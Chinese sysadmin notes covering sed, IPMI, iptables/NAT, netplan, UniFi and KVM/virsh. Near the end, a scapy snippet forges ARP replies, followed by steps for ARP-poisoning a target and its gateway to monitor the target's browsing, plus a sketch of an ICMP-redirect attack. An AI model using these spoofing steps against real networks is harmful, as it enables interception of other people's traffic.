    a 新增, a 的后面可以接字串,而这些字串会在新的一行出现(目前的下一行)~
    c :取代, c 的后面可以接字串,这些字串可以取代 n1,n2 之间的行!

选项介绍    
    -i[suffix]  修改文件        sed "s/ps-0.*/ps-0/g" -i txt
    -n          或--quiet或--silent 仅显示script处理后的结果。

用法:
    使用管道符|
        nl /etc/passwd | sed '3,$d' 
    使用文件:
        sed -n "1,3p" sed_test.txt

正则:
    sed "s/\(value:\s\+\?'1'\)/value: '0'/g" cvat_backend.yaml
    如果要匹配'',外面必须是"",这样的话就不能匹配\n

示例:
    替换
        仅对变量进行字符串替换的话,可以用
            a=aabbcc
            echo ${a/bb/23}
    替换换行符:
        sed ':a;N;$!ba;s/\n/ /g' cvat_backend.yaml                     # 注意不能双引号
        或sed -e ':a' -e 'N' -e '$!ba' -e 's/\n/ /g' cvat_backend.yaml


IPMI启动
启动内核模块
    modprobe ipmi_si
    modprobe ipmi_devintf
    echo ipmi_si >> /etc/modprobe
    echo ipmi_devintf >> /etc/modprobe
安装: 
    apt-get install ipmitool
使用: 
    ipmitool lan print
    ipmitool lan print | grep "IP Address"
    ipmitool lan print | grep "MAC Address"
设置ip:
    ipmitool lan set 1 ipaddr 192.168.1.211

挂载: 
    需要ssh登录ibmc,像ibmc:
        ipmcset -t vmm -d connect -v nfs://192.168.1.3/data/nfsshare/isountu-18.04.1-server-arm64.iso

查询局域网IP与MAC
sudo apt install nmap
nmap -sP 192.168.1.0/24                # 进行ping扫描,打印出对扫描做出响应的主机
cat /proc/net/arp


下载gs开头文件
pip install gsutil

gsutil cp -R gs://archive-measurement-lab/utilization/ destination-directory

ubuntu系统安装到/home/dlwsadmin/.local/bin/gsutil目录下

生成jwt token:

jwt_header=$(echo -n '{"alg":"HS256","typ":"JWT"}' | base64 | sed s/\+/-/g | sed 's/\//_/g' | sed -E s/=+$//)
payload=$(echo -n '{"email":"jordan@example.com"}' | base64 | sed s/\+/-/g |sed 's/\//_/g' |  sed -E s/=+$//)
secret=$'bigsecretisveryhardtoguessbysneakypeopleright\n'
hexsecret=$(echo -n "$secret" | xxd -p | paste -sd "")
hmac_signature=$(echo -n "${jwt_header}.${payload}" |  openssl dgst -sha256 -mac HMAC -macopt hexkey:$hexsecret -binary | base64  | sed s/\+/-/g | sed 's/\//_/g' | sed -E s/=+$//)
jwt="${jwt_header}.${payload}.${hmac_signature}"

网络与IP:

重启网络
    systemctl restart systemd-networkd

自动获取ip
    dhclient eth1
    dhclient eth1 -r
    重启不能自动获取的问题

ifconfig设置ip与清理
    ifconfig eth0 192.168.1.3/24
    ifconfig eth0 0.0.0.0


开机执行dhclient:
    /etc/rc.local
    #!/bin/bash
    dhclient
    exit 0

查看网口的网线连接状态:    
    ethtool eno1 查看speed
    ethtool -p eno1 让网口闪烁
    ethtool -t eno1 检测网口状态,返回结果,会造成外网映射的ssh掉线

ifconfig删除ipv6:
    ifconfig eth0 inet6 del 2001:0db8:0:f101::1/64

    ifconfig eth0 inet6 add 2001:0db8:0:f101::1/64 

    ip -6 addr add fdcd:55c4:4289::15e2/64 dev eno1

    尝试可以用ping6 fdcd:55c4:4289::1018


设置静态IP(固定ip):
    18.04 and 20.04设置
        依赖: 
            apt install netplan.io networkmanager libproxy1-plugin-networkmanager
        比较: 
            service systemd-networkd status     # destop和server都有
            service network-manager  status     # 只有destop版本才有。

        /etc/netplan/50-cloud-init.yaml

        network:
          version: 2
          renderer: networkd            # 桌面版用NetworkManager,server版填networkd,填错了好像也能用
          ethernets:
            ens33:   #配置的网卡名称
              dhcp4: no    #dhcp4关闭
              dhcp6: no    #dhcp6关闭
              addresses: [192.168.1.55/24]   #设置本机IP及掩码
              gateway4: 192.168.1.254        #设置网关,可选
              nameservers:
                  addresses: [114.114.114.1148.8.8.8]   #设置DNS

        netplan apply

    16.04的设置:
        source /etc/network/interfaces.d/*
        auto lo
        iface lo inet loopback
        auto ens33
        iface ens33 inet static
             address 192.168.1.100
             netmask 255.255.255.0
             network 192.168.1.0
             broadcast 192.168.1.255
             gateway 192.168.1.1
             dns-nameservers 8.8.8.8 8.8.4.4

        systemctl restart ifup@eth0


静态路由:
    dhclient或netplay apply都会改变,目前没有比较好的固定方法
    尝试过的方法:
        eno1:
          dhcp4: yes
          dhcp4-overrides:
            use-routes: false

ubuntu上抓包工具tcpdump:
    tcpdump -D 获取网络适配器列表
    tcpdump -i <需要监控的网络适配器编号>
    tcpdump -i 2 host 172.16.86.111 and tcp port 443        监控IP地址为172.16.86.111443端口的tcp协议
            -X                  显示数据包的内容
            -X -s 0             自动设置长度使其能够显示所有数据
            -X -s 0 -w aaa      捕获的数据太多,不断刷屏,可能需要将数据内容记录到文件里,需要使用-w参数

iptables规则:
    开启与关闭:
        service iptables start  
        service iptables stop 
    流程: 
        规则:根据指定的匹配条件来尝试匹配每个流经此处的报文,一旦匹配成功,则由规则后面指定的处理动作进行处理;如果规则不做处理,会继续匹配直到明确处理。
    匹配条件:
        源地址Source IP,目标地址 Destination IP
        源端口Source Port, 目标端口Destination Port
        传输协议(如TCP、UDP、ICMP)
        服务类型(如HTTP、FTP和SMTP)
        还有其他扩展匹配条件
    查看:
        iptables -L
        iptables -t filter -L   查看filter表
        KUBE-SERVICES
        iptables -L -v 查看报文计数器

    查看某个ip相关
        iptables-save | grep 10.104.30.154
    设置: 
        格式: 
                        tables      command                 chain                                           params                  target 
            iptables     -t filter  -A/D/I/R/L/F/Z/N/X/P    INPUT/FORWARD/OUTPUT/PREROUTING/POSTROUTING   -p/s/d/i/o/sport/dport    -j ACCEPT/DROP/REJECT
        写入:
            iptables -I FORWARD -d 10.97.221.209/32 -p tcp -m comment --comment "default/helloworld-go-m9j7m-69c w5:http has no endpoints" -m tcp --dport 80 -j REJECT --reject-with icmp-port-unreachable
            iptables -A 
        删除: 
            iptables -D 其他相同
            iptables -D INPUT 1  删除INPUT第一条
    target参数:
        -j 选项指定rule的目标,目标可以是用户自定义链;内建目标;或扩展,常见如REJECT、ACCEPT、MASQUERADE、MARK(做标记)、RETURN(返回在自定义链执行完毕后使用返回,来返回原规则链)等
            SNAT:源地址转换,解决内网用户用同一个公网地址上网的问题。
                iptables-t nat -A POSTROUTING -s 10.8.0.0/255.255.255.0 -o eth0 -j SNAT --to-source192.168.5.3
                在网关所在机器配置这个,使用该网关的其他局域网机器发出去的包才能回来,不然源ip还是10.8.0.0,包会丢失。一般用MASQUERADE
            MASQUERADE:是SNAT的一种特殊形式,适用于动态的、临时会变的ip上。SNAT的一种
                对于SNAT,不管是几个地址,必须明确的指定要SNAT的ip,假如当前系统用的是ADSL动态拨号方式,那么每次拨号,出口ip192.168.5.3都会改变,而且改变的幅度很大,
                不一定是192.168.5.3192.168.5.5范围内的地址,这个时候如果按照现在的方式来配置iptables就会出现问题了,因为每次拨号后,服务器地址都会变化,而iptables规则内的ip是不会随着自动变化的,
                每次地址变化后都必须手工修改一次iptables,把规则里边的固定ip改成新的ip,这样是非常不好用的。
                MASQUERADE就是针对这种场景而设计的,他的作用是,从服务器的网卡上,自动获取当前ip地址来做NAT。
                不管现在eth0的出口获得了怎样的动态ip,MASQUERADE会自动读取eth0现在的ip地址然后做SNAT出去,这样就实现了很好的动态SNAT地址转换。
            DNAT:目标地址转换,解决私网服务器端,接收公网请求的问题。
                iptables -t nat -A PREROUTING -d 202.103.96.112 -j DNAT --to-destination 192.168.0.112
                将到这台机器的ip的包的目标ip改为其他。可以加端口
            REDIRECT:端口映射
        -g 选项将规则重定向到一个用户自定义链中,与 -j 选项不同,从自定义链中返回时,是返回到调用 -g 选项上层的那一个 -j 链中继续往下执行
        -m 扩展各种模块,如multiport多端口扩展,iprange模块,string正则匹配模块,time配置起作用时间模块,limit限速模块,connlimit连接数模块,tcp/udp模块,state模块,set(ip集合)模块
    command参数:  
        -A  在指定链的末尾添加(append)一条新的规则
        -D  删除(delete)指定链中的某一条规则,可以按规则序号和内容删除
        -I  在指定链中插入(insert)一条新的规则,默认在第一行添加
        -R  修改、替换(replace)指定链中的某一条规则,可以按规则序号和内容替换
        -L  列出(list)指定链中所有的规则进行查看
        -E  重命名用户定义的链,不改变链本身
        -F  清空(flush)
        -N  新建(new-chain)一条用户自己定义的规则链
        -X  删除指定表中用户自定义的规则链(delete-chain)
        -P  设置指定链的默认策略(policy)为xxx
        -Z 将所有表的所有链的字节和数据包计数器清零
        -n  使用数字形式(numeric)显示输出结果
        -v  查看规则表详细信息(verbose)的信息
        -V  查看版本(version)
        -h  获取帮助(help)
    params参数:
        -p 协议 
        -i 接口 
        -o 出口网卡

    默认链:
        默认的表filter下面有INPUT、OUTPUT、FORWARD
        nat表有PREROUTING、POSTROUTING、OUTPUT  

        iptables内置了4个表,即filter表、nat表、mangle表和raw表,分别用于实现包过滤,网络地址转换、包重构(修改)和数据跟踪处理。
            Raw——mangle——nat——filter

        链(chains)是数据包传播的路径,每一条链其实就是众多规则中的一个检查清单,每一条链中可以有一 条或数条规则。
        当一个数据包到达一个链时,iptables就会从链中第一条规则开始检查,看该数据包是否满足规则所定义的条件。如果满足,系统就会根据 该条规则所定义的方法处理该数据包;
        否则iptables将继续检查下一条规则,如果该数据包不符合链中任一条规则,iptables就会根据该链预先定 义的默认策略来处理数据包。
            1.INPUT——进来的数据包应用此规则链中的策略
            2.OUTPUT——外出的数据包应用此规则链中的策略
            3.FORWARD——转发数据包时应用此规则链中的策
            4.PREROUTING——对数据包作路由选择前应用此链中的规则(记住!所有的数据包进来的时侯都先由这个链处理),对应DNAT,路由到不同的局域网机器
            5.POSTROUTING——对数据包作路由选择后应用此链中的规则(所有的数据包出来的时侯都先由这个链处理),对应SNAT,修改源ip

        规则链之间的优先顺序
            入站数据流向:PREROUTING -> INPUT      先被PREROUTING规则链处理(是否修改数据包地址等),之后会进行路由选择(判断该数据包应该发往何处),内核将其传给INPUT链进行处理,传到用户空间。
            转发数据流向: PREROUTING -> FORWARD ->  POSTROUTING   PREROUTING先处理,FORWARD后先进行路由选择,再POSTROUTING

            出站数据流向: OUTPUT -> POSTROUTING     先路由判断,再经过OUTPUT,再路由判断,最后POSTROUTING
            与route的关系:
                http://linux-ip.net/pages/diagrams.html
                http://www.adminsehow.com/2011/09/iptables-packet-traverse-map/
        示例: 
            kubernetes的10.96.0.1,先经过default route192.168.3.1出来后,经过OUTPUTT和POSTROUTING规则,DNAT为192.168.1.3,出口为192.168.3.1所在的interface,很明显流量回不来。

    自定义链:
        创建: 
            iptables -t filter -N IN_WEB
        设置规则:
            iptables -t filter -A IN_WEB -s 192.168.1.1 -j REJECT
        使用: 
            iptables -A INPUT -p tcp --dport 80 -j IN_WEB       # 必须借助于默认链来实现
        重命名: 
            iptables -E IN_WEB WEB
        查看链: 
            iptables -nvL
        删除: 
            删除引用,iptables -D INPUT -p tcp --dport 80 -j IN_WEB
            iptables -t filter -F IN_WEB
            iptables -X IN_WEB

    示例:
        1.外网端口映射:
            本身就是公网ip的场景:
                iptables -t nat -A PREROUTING -p tcp -d 182.138.104.63 --dport 10086 -j DNAT --to-destination 127.0.0.1:80  # 单网卡可以填127.0.0.1,多网卡要填对应的ip

                如果机器内转发,那么是输出nat:
                    iptables -t nat -A OUTPUT -d 192.168.1.222 -p tcp -m tcp --dport 8088 -j DNAT --to-destination 192.168.1.184:80

            如果公网ip连着路由器,那么在路由器上设置(未有该设备,待验证):
                iptables -A PREROUTING -t nat -i eth0 -p tcp --dport 80 -j DNAT --to 192.168.1.2:8080或者iptables -t nat -A PREROUTING -p tcp -d 192.168.1.222 --dport 8088 -j DNAT --to-destination 192.168.1.184:80
                iptables -A FORWARD -p tcp -d 192.168.1.2 --dport 8080 -j ACCEPT
                iptables -t nat -A POSTROUTING -d 192.168.1.184 -p tcp -m tcp --dport 80 -j MASQUERAD       # 还需要对POSTROUTING进行配置,可能是源ip转换的问题。

                抓包看进来请求:
                    tcpdump -i eno2 tcp port 8088
                对应规则流量
                    iptables -nvL -t nat查看对应chain


        2.有两个网卡,访问某个site时走指定的网卡
            方法1
                iptables -t nat -I POSTROUTING -s 192.168.1.0/24 -j MASQUERADE
                iptables -t nat -A POSTROUTING -s 192.168.1.222 -d 140.82.0.0/16 -p tcp -m tcp --dport 443 -j SNAT --to-source 10.31.3.222  # 从eno2出去,回来的时候eno2的路由器识别不了10.31.3.222,分析次数即可
                iptables -t nat -A PREROUTING -s 140.82.0.0/16 -p tcp -m tcp --sport 443 -j DNAT --to-destination 10.31.3.222  # 这理论上可行,
                iptables  -A FORWARD -s 192.168.1.222 -d 10.31.3.222 -j ACCEPT
                iptables  -A FORWARD -d 10.31.3.222 -p tcp -j ACCEPT -m conntrack --ctstate NEW,ESTABLISHED,RELATED
                iptables  -A FORWARD -s 192.168.1.222 -p tcp -j ACCEPT -m conntrack --ctstate NEW,ESTABLISHED,RELATED

                iptables -t nat -A POSTROUTING ! -d 192.168.0.0/16 -o eth1 -j SNAT --to-source 198.51.100.1
                # iptables -t nat -A POSTROUTING ! -d 192.168.0.0/16 -o eth1 -j MASQUERADE      # 适合只有一个外网网卡

            思路2:认为包先从网卡出来,
                iptables -t nat -A OUTPUT -d 140.82.0.0/16 -p tcp -m tcp --dport 443 -j DNAT --to-destination 10.31.3.222:9443
                -A PREROUTING -d 10.31.3.222/32 -p tcp -m tcp --dport 9443 -j DNAT --to-destination 140.82.112.4:443

            方法3(大概率生效):
                echo 1 > /proc/sys/net/ipv4/ip_forward
                iptables -A FORWARD -i eno2 -o eno1 -j ACCEPT
                iptables -A FORWARD -i eno1 -o eno2 -m state --state RELATED,ESTABLISHED -j ACCEPT
                iptables -t nat -A POSTROUTING -o eno1 -j MASQUERADE

            利用ip rule(也是大概率生效,目前这个最靠谱):
                ip route add default via 10.31.3.1 dev eno1 tab 1
                ip route show table 1
                ip rule add to 192.168.16.20/32 tab 1 priority 500      # to表示要去哪里
                ip rule show\list 
                ip route flush cache

                测试: 
                    解析google.com的ip得到142.250.199.78,暂不支持域名
                    ip route add default via 10.8.0.5 dev tun1 tab vpn_proxy
                    ip rule add to 142.250.199.78 tab vpn_proxy priority 501
                    ping 142.250.199.78

            ip rule方法2,结合iptables使用:
                ip rule add fwmark 3 table 3        # 标记了 3 的数据使用table3 路由表
                iptables -A PREROUTING -t mangle -i eth0 -s 192.168.0.1 -192.168.0.100  -j MARK --set-mark 3

            最终不行,可能是无法实现route的功能(大概率生效)
                方法1能看到出去的包,但是无法收到来自github.com的包,可能卡在了路由那里
                iptables -t nat -A PREROUTING -s 140.82.0.0/16 -p tcp -m tcp --sport 443 -j ACCEPT

            总结:
                iptables只能做到修改源ip和目的ip、port的方式,访问某个特定的网站、某个网卡发出的请求,还得靠ip rule,而ip route适合全局的情况。


        3.有多个网卡,某个网卡的ip出来的请求(监听某个本地ip的进程发出的请求)走指定的网卡出去
            ip rule的方法:
                ip route add default via 10.8.0.5 dev tun1 tab vpn_proxy
                ip rule add from 10.1.0.0/24 tab vpn_proxy priority 500     # from表示从哪个网卡发出
                如果还需特殊的条件,比如从某个网卡出来,能够访问本网卡的ip
                    ip rule del to 10.1.0.0/24 table main priority 498



USG路由器如何设置两个ip
wan2口是多余的,只用一个wan口即可达到多个ip的目的(是否上游同一个router待确认)
1.进入远程网页的docker container
2.进入目录/unifi/data/sites/n047k26l 
3.更改配置cat config.gateway.json
        "interfaces": {
            "ethernet": {
                "eth0": {
                    "address" : [ "121.46.18.83/28",
                            "121.46.18.84/28" ]
        "service": {
            "nat": {
                "rule": {
                    "4001": {
                        "description""IP1",
                        "destination": {
                                "address""121.46.18.83",
                                "port""80,443"
                        },
                        "inbound-interface""eth0",
                        "inside-address": {
                                "address""192.168.1.3"
                        },
                        "protocol""tcp",
                        "type""destination"

重置配置:
    set-default
    或者点forget

usg controller和usg gateway
    controller所在container控制页面

unifi controller服务:

开放端口8443 8080 

docker支持多架构:
    docker create --name=unifi-controller -e PUID=1000 -e PGID=1000 -p 3478:3478/udp -p 10001:10001/udp -p 8080:8080   -p 8443:8443 
         -v /data/unifi:/config --restart unless-stopped  linuxserver/unifi-controller
    docker start unifi-controller

    -e UNIFI_SSH_PORT=8422 -e UNIFI_SSH_PASSWD=apulistech 没起效

其他安装方式:
    apt添加源
    deb包
    window下的exe

设置inform URL
    Settings > Controller > Controller Settings and set the Controller Hostname/IP
    然后点击enable

设置固定ip
    绑定mac地址和ip后
    如何生效:
        dhclient
        或ifconfig eno1 down 
        ifconfig eno1 up 

问题: 
    1.一直provisioning
        注意防火墙不要屏蔽了controller所在的ip
        firewall group不能用10.16.0.0-10.16.255.255这种ip段的写法,虽然页面可以提交,但实际上会导致error。新版本可以用10.16.0.0/16这种写法

虚拟机:

检测是否支持:

apt install cpu-checker
kvm-ok

安装软件:

apt install -y qemu-system-x86 qemu-kvm qemu libvirt-bin virt-manager virtinst bridge-utils cpu-checker virt-viewer 
qemu-efi-aarch64

检测是否启动:

systemctl status libvirtd
systemctl enable --now libvirtd

配置界面连接ssh key:

将公钥放到所在的服务器上.ssh/authorized_keys

命令行使用:

适合window版本,安装不了virt-manager
1.配置网络:
    a.桥接网络
        方法一:
            vim /etc/netplan/00-installer-config.yaml
                network:
                  version: 2
                  renderer: networkd
                  ethernets:
                    enp1s0:
                      dhcp4: no
                  bridges:
                    br0:
                      dhcp4: yes
                      addresses: [10.31.3.123/24]
                      gateway4: 10.31.3.1
                      nameservers:
                        addresses: [8.8.8.8]
                      interfaces:
                         - enp1s0
            netplan apply
            systemctl restart NetworkManager.service
            systemctl restart network-manager
            brctl show

            iptables -t nat -A POSTROUTING -o br0 -j MASQUERADE
            iptables -A FORWARD -i br0 -o virbr0 -m state --state RELATED,ESTABLISHED -j ACCEPT
            iptables -A FORWARD -i virbr0 -o br0 -j ACCEPT
            iptables -I FORWARD 1 -i br0 -o br0 -j ACCEPT

            # 然后正常启动,通过arp -an | grep 52:54:00:ce:8a:c4查看ip

            如何恢复:
                ip link set enp1s0 up
                ip link set br0 down
                brctl delbr br0

        方法二: 
            nmcli conn add type bridge con-name br0 ifname br0
            nmcli conn add type ethernet slave-type bridge con-name bridge-br0 ifname enp1s0 master br0
            nmcli conn show --active
            nmcli conn up br0           # 目前在这步失败了Error: Connection activation failed: Connection 'bridge-br0' is not available on the device br0 at this time.
            nmcli conn down eno1
            nmcli conn show --active    

            nmcli conn del 4f5cde98-d834-44f8-b1bb-e68e35e243f2

        vim host-bridge.xml
            <network>
              <name>host-bridge</name>
              <forward mode="bridge"/>
              <bridge name="br0"/>
            </network>
        virsh net-define host-bridge.xml
        virsh net-start host-bridge
        virsh net-autostart host-bridge

    b. NAT 
    c. 使用macvtap driver将NIC直接连到宿主机物理接口上
        VEPA:all packets from the guests are sent to the external switch.
        bridge:Packets whose destination is on the same host machine as their source guest are directly delivered to the target macvtap device
        private
        passthrough:

        virsh edit xxx

        编辑vm的xml文件
            <devices>
                ...
                <interface type='direct'>
                    <source dev='eth0' mode='bridge'/>
                </interface>
            </devices>


2.启动虚拟系统:
    wget https://mirrors.kernel.org/ubuntu-releases/18.04/ubuntu-18.04.5-live-server-amd64.iso

    virt-install --virt-type=kvm --name=ubuntu1804 --ram=2048 --vcpus=4 --os-variant=ubuntu18.04 --hvm --graphics vnc
        --cdrom=/var/lib/libvirt/boot/ubuntu-18.04.5-live-server-amd64.iso \
        --network=default       # 默认网络nat只能连宿主机,bridge=br0使用桥接网络
        --disk path=/var/lib/libvirt/images/ubuntu1804.qcow2,size=40,bus=virtio,format=qcow2
        # --disk path=default,size=40,bus=virtio,format=qcow2

    virt-install --hvm --name=ubuntu1804-amd-2 --ram=2048 --vcpus=4 --arch=x86_64 --os-variant=ubuntu18.04 --cdrom=/mnt/bigdisk3/ubuntu-18.04.1-server-amd64.iso 
        --network=default --graphics vnc --disk path=/mnt/bigdisk3/ubuntu1804-amd-2.qcow2,size=40,bus=virtio,format=qcow2

    # 注意不能tmp目录,文件系统类型不允许,还要注意iso和disk的路径权限

3.常用命令:
    virsh list
    virsh shutdown/start/suspend/reboot/reset/undefine/destroy/console/edit xxx
    virt-viewer ukvm1404

    存储pool相关:
        virsh pool-list --all
        virsh pool-define-as kvmpool --type dir --target /data/kvm/pool
        virsh pool-list --all
        virsh pool-start kvmpool
        virsh pool-autostart kvmpool

    加盘
        qemu-img create -f raw ubuntu-vm-disk-100G-1 100G       # 如果size不对换为raw
        virsh attach-disk ubuntu-box1 /var/lib/libvirt/images/ubuntu-box1-vm-disk1-5G vdb --cache none
        virsh domblklist ubuntu18.04-czl
        或者直接编辑xml文件

        移除通过virsh detach-disk ubuntu18.04-czl vdb

    扩容
        virsh domblklist apulis-ubuntu18.04-clone3
        virsh shutdown apulis-ubuntu18.04-clone3
        qemu-img info /var/lib/libvirt/images/rhel8.qcow2
        qemu-img resize /mnt/fastdisk2/kvms/vm1-clone-2.qcow2 +100G
        virsh start apulis-ubuntu18.04-clone3

        直接不停机可以用
            virsh blockresize vm18041-clone2 /mnt/bigdisk3/vm18041-clone2.qcow2 280G

        然后进vm进行扩大分区
            apt -y install cloud-guest-utils
            growpart /dev/vda 2     # fdisk看到生效
            resize2fs /dev/vda2     # df -h才能看到生效
            lsblk 

    内存和cpu:
        编辑命令是可以的
            virsh edit xxx 
        图形化界面操作
        命令行操作:
            virsh dominfo CentOS6_1| grep mem
            virsh setmaxmem 2 --size 16384304 --live        # 当使用内存不超过最大内存时,用这个可以不停机增加内存
            virsh setmaxmem 2 --size 16384304 --current
            setmem
            setvcpus
    网络相关:
        virsh net-list
        virsh net-info default
        virsh net-dhcp-leases default
        virsh net-destroy host-bridge
        virsh net-undefine host-bridge

        virsh domiflist 查看vm使用的网络
        virsh domifaddr 查看vm的ip
        virsh attach-interface --domain pxe --type bridge --source br1 --model virtio --config --live 
        virsh detach-interface --domain pxe --type bridge --mac 52:54:00:47:2f:eb --config

        virsh dumpxml VM_NAME | grep "mac address" | awk -F\' '{ print $2}'
        arp -an | grep 52:54:00:ce:8a:c4    # 需要通信过或者稍等一段时间后,才能获取到

    克隆相关:
        virt-clone --original {Domain-Vm-Name-Here} --name {New-Domain-Vm-Name-Here} --file {/var/lib/libvirt/images/File.Name.here}

    快照:
        virsh snapshot-create-as --domain {VM-NAME} --name "{SNAPSHOT-NAME}" --live
        virsh snapshot-list --domain openbsd
        virsh snapshot-info --domain freebsd --snapshotname 5Sep2016_S1
        virsh snapshot-revert --domain freebsd --snapshotname 5Sep2016_S1 --running
        virsh snapshot-delete --domain freebsd --snapshotname 5Sep2016_S2

virt-manager界面使用:

只能linux系统
hyper-V也可以安装linux系统

apt-get install virt-manager ssh-askpass-gnome
可以连接远程,配置当前用户的ssh密钥即可。

arp协议:

arp -s 192.168.1.1 00:b1:b2:b3:b4:b5

arp -a 查看所有的规则
    arp -a 192.168.1.179查看指定ip的信息
    ip neigh也可以查看系统arp表

arp -d ip 删除

清除缓存:
    arp -n|awk '/^[1-9]/{system("arp -d "$1)}' 所有的
    ip neigh flush  dev eth0    某一个接口的

原理:
    OSI模型把网络工作分为七层,IP地址在OSI模型的第三层,MAC地址在第二层,彼此不直接打交道。
    在通过以太网发送IP数据包时,需要先封装第三层(32位IP地址)、第二层(48位MAC地址)的报头,但由于发送时只知道目标IP地址,不知道其MAC地址,又不能跨第二、三层,
    所以需要使用地址解析协议。使用地址解析协议,可根据网络层IP数据包包头中的IP地址信息解析出目标硬件地址(MAC地址)信息,以保证通信的顺利进行。

流程:
    第1步:根据主机A上的路由表内容,IP确定用于访问主机B的转发IP地址是192.168.1.2。然后A主机在自己的本地ARP缓存中检查主机B的匹配MAC地址。
    第2步:如果主机A在ARP缓存中没有找到映射,它将询问192.168.1.2的硬件地址,从而将ARP请求帧广播到本地网络上的所有主机。源主机A的IP地址和MAC地址都包括在ARP请求中。本地网络上的每台主机都接收到ARP请求并且检查是否与自己的IP地址匹配。如果主机发现请求的IP地址与自己的IP地址不匹配,它将丢弃ARP请求。
    第3步:主机B确定ARP请求中的IP地址与自己的IP地址匹配,则将主机A的IP地址和MAC地址映射添加到本地ARP缓存中。
    第4步:主机B将包含其MAC地址的ARP回复消息直接发送回主机A。
    第5步:当主机A收到从主机B发来的ARP回复消息时,会用主机B的IP和MAC地址映射更新ARP缓存。本机缓存是有生存期的,生存期结束后,将再次重复上面的过程。主机B的MAC地址一旦确定,主机A就能向主机B发送IP通信了。

免费ARP:
    与标准ARP的区别就是免费ARP分组的目的IP地址字段封装的是自己的IP地址,即向所在网络请求自己的MAC地址。
    作用:
        一个主机可以通过它来确定另一个主机是否设置了相同的 IP地址。
        更新其他主机高速缓存中旧的硬件地址信息。
        网关利用免费ARP防止ARP攻击,防止或缓解ARP攻击的效果。
        利用免费ARP进行ARP攻击
代理ARP
    两台主机A和B处于同一网段但不同的广播段(不在同一物理网络上)时,主机A发送ARP请求主机B的MAC地址时,因为路由器不转发广播包的原因,ARP请求只能到达路由器。
    如果路由器启用了代理ARP功能,并知道主机B属于它连接的网络,那么路由器就用自己接口的MAC地址代替主机B的MAC地址来对主机A进行ARP应答。
    主机A接收ARP应答,但并不知道代理ARP的存在。

k8s ha应用:
    ha会有一个vip,vip需要与多台master中的其中一个的网络接口mac地址绑定,其中就用到arp协议
    master和worker都会通过arp请求得到响应,获取到vip和对应的mac地址。因此推测vip容器在响应局域网内的arp请求,发送ARP应答消息,将vip答应为对应的mac地址。

    每个master的eno接口都会增加一个ipv6的ip,由vip容器完成这个操作。vip容器会出现由于ipv6地址找不到而启动异常的情况(arp包的源ip?),进而影响arp服务,导致vip ping不通。
    这个时候需要重启eno接口。
    初步估计这个ipv6用于多master的多个vip容器之间的通信,以选举主master、确定vip位于哪个mac地址上

    多个组件之间通信可能依赖于k8s,ipv6地址用于本节点的vip容器启动,可能是准备arp包发送。

如何发送arp包:
    python可以用scapy
    scapy 
    pkt = Ether()/ARP()
    pkt.show()
    pkt[Ether].dst="ff:ff:ff:ff:ff:ff"
    pkt[ARP].pdst="192.168.66.21"
    pkt[ARP].psrc="192.168.66.198"
    sendp(pkt)
    关键:
        参数主要分Ether和ARP,Ether的dst包发送的地址(全网广播为ff:ff:ff:ff:ff:ff),src源地址不变
        ARP的pdst改为目标机器ip,如0.0.0.0192.168.1.3具体的ip
        ARP的psrc和hwsrc根据需求修改,这样目标机器就会更新这个ip和mac条目,达到欺骗的目的

浏览监控:
    arp广播,发送网关ip+监控机器mac地址的欺骗包给目标机器。这样目标机器会以监控机器作为网关,往这里发送请求。
    发送目标机器ip+监控机器mac地址的欺骗包给网关,这样网关要往目标机器发送请求时,发送给这里。
    开启监控机器的包转发,echo 1 > /proc/sys/net/ipv4/ip_forward

    所谓转发即当主机拥有多于一块的网卡时,其中一块收到数据包,根据数据包的目的ip地址将数据包发往本机另一块网卡,该网卡根据路由表继续发送数据包。这通常是路由器所要实现的功能。
    监控机器拥有正确的目标机器ip和网关ip的mac地址。


跨网段如何广播:
    不同网段的主机通信时,主机会封装网关(通常是路由器)的mac地址,然后主机将数据发送给路由器,后续路由进行路由转发,通过arp解析目标地址的mac地址,然后将数据包送达目的地。
    192.168.3.2   192.168.3.1  192.168.4.2  192.168.4.1
    1、主机A有数据发往主机B,数据封装IP之后发现没有主机B的mac地址;然后查询ARP,ARP回应:“我在192.168.3.0/24网段,目标地址在192.168.4.0/24,不属于同一网段,需要使用默认网关”;ARP发现默认网关是192.168.3.2,但是没有网关mac地址,需要先进行查询;
    2、主机将数据包先放到缓存中,然后发送ARP查询报文:封装自己的mac地址为源mac,目标mac地址写全F的广播地址,请求网关192.168.3.2的mac地址。然后以广播方式发送出去;
    3、路由器收到广播数据包,首先将原192.168.3.1添加到自己的mac地址表中,对应mac地址为0800.0222.2222。路由发现是请求自己的mac地址,然后路由回复一个ARP应答:封装自己的IP地址为源IP自己的mac地址为源mac,主机A的IP为目的IP主机A的mac为目的mac,发送一个单播应答“我是192.168.3.2.我的mac地址为0800.0333.2222”;
    4、主机收到应答后,将网关mac地址对应192.168.4.2(跨网关通信,其他网段IP地址的mac地址均为网关mac),然后将缓存中的数据包,封装网关mac地址进行发送;
    5、路由收到数据包,检查目的IP地址,发现不是给自己的,决定要进行路由,然后查询路由表,需要发往192.168.4.0网段中的192.168.4.2地址。路由准备从相应接口上发出去,然后查询mac地址表,发现没有主机B的映射。路由器发送arp请求查询主机B的mac地址(原理同23步,主机B收到请求后首先会添加网关的mac地址,然后单播回复arp请求);
    6、路由器收到主机B的mac地址后,将其添加到路由mac地址表中,然后将缓存中的数据2层帧头去掉,封装自己的mac地址为源mac,主机B的mac地址为目的mac(源和目的IP地址不变),加上二层帧头及校验,发送给主机B;
    7、主机B收到数据之后,进行处理,发送过程结束;
    8、如果主机B收到数据后进行回复,主机B会进行地址判断,不在同一网段,然后决定将数据发送给网关,主机B查询mac地址表获得网关mac地址,将数据封装后发送(arp地址解析的过程不再需要了,mac地址表条目有一定的有效时间),网关收到数据后直接查询mac表,将二层帧mac地址更改为A的mac发送出去。如此,主机A收到主机B的回复;

    路由器隔离广播。每一个网段都是独立的广播域。

    没找到不同网段的机器通过router设置ip route,而不是双网卡,相互能ping通的场景,暂未确认这个。
    在目标机器上arp -a的确没看到广播的ip,而同一网段则很快看到。
    广播的ip必须是同网段的,否则虽然发出去了,但还是arp -a看不到

ICMP重定向:
    跨网段必须用到ICMP重定向。
    A 10101001 00-E0-4C-11-11-11
    B 10101002 00-E0-4C-22-22-22
    C 10102003 00-E0-4C-33-33-33
    首先攻击方C修改IP包的生存时间,将其延长,以便做充足的广播。然后和上面提到的一样,寻找主机B的漏洞,攻击此漏洞,使主机B暂时无法工作。
